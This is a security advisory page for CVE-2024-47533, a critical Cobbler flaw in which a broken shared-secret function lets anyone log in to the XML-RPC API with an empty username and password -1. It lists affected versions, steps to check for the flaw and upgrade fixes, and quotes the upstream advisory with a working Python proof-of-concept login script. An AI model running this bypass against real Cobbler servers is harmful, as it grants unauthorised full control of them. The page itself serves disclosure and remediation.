critical · 9.8 Patched

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

CVE-2024-47533 · GHSA-m26c-fcgh-cp6h · PYSEC-2026-316 · published 18 Nov 2024

How serious is it

  • Severity: critical, CVSS score 9.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2024-47533?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • cobbler (PyPI) >= 3.3.0, < 3.3.7
  • cobbler (PyPI) >= 3.0.0, < 3.2.3

How to check

  1. Run pip show cobbler in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. On >= 3.3.0, < 3.3.7: Upgrade cobbler to 3.3.7 or later, commit the lockfile and redeploy.
  2. On >= 3.0.0, < 3.2.3: Upgrade cobbler to 3.2.3 or later, commit the lockfile and redeploy.
  3. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params)) except Exception as e: print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params)) print("Login success!") system_id = conn.new_system(token) ``` ### Impact This gives anyone with network access to a cobbler server full control of the server.

Check your whole app

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References

Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON